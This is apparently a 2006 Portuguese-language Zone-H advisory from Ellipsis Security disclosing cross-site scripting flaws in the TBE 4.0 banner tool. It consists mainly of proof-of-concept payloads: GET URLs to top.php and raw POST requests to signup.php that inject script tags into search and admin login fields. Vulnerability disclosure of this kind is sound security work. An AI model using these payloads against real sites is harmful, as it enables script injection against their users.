Zone-H - Unrestricted Information - TBE 4.0: Falhas de Cross Site Script

TBE 4.0: Falhas de Cross Site Script

Por Marcelo Almeida (Vympel)

03 de July de 2006

A ferramenta de criação de banner tbe4.0 Native Solutions possuí falha do tipo XSS

Exemplos de falhas econtradas no script:

http://target.xx/top.php?action=search&catid=catid&text=%3Cscript%3Ealert(%22Ellipsis+Security+Test%22)%3C/script%3E
http://target.xx/top.php?action=search&catid=catid&text=%3Cimg%20src=%22javascript:alert('Ellipsis+Security+Test');%22%3E

...

---



POST http://target.xx:80/signup.php HTTP/1.0



Accept: */*



Content-Type: application/x-www-form-urlencoded



Host: target.xx



Content-Length: 127



adminpass="><script>alert(/Ellipsis+Security+Test/)</script>&adminlogin=1&action=1&login=1&password=1&bid=1&bnumr=1



---



POST http://target.xx:80/signup.php HTTP/1.0



Accept: */*



Content-Type: application/x-www-form-urlencoded



Host: target.xx



Content-Length: 127



adminpass=1&adminlogin="><script>alert(/Ellipsis+Security+Test/)</script>&action=1&login=1&password=1&bid=1&bnumr=1



-----------------



Ellipsis Security

http://ellsec.org

< Anterior		Próximo >

[Voltar]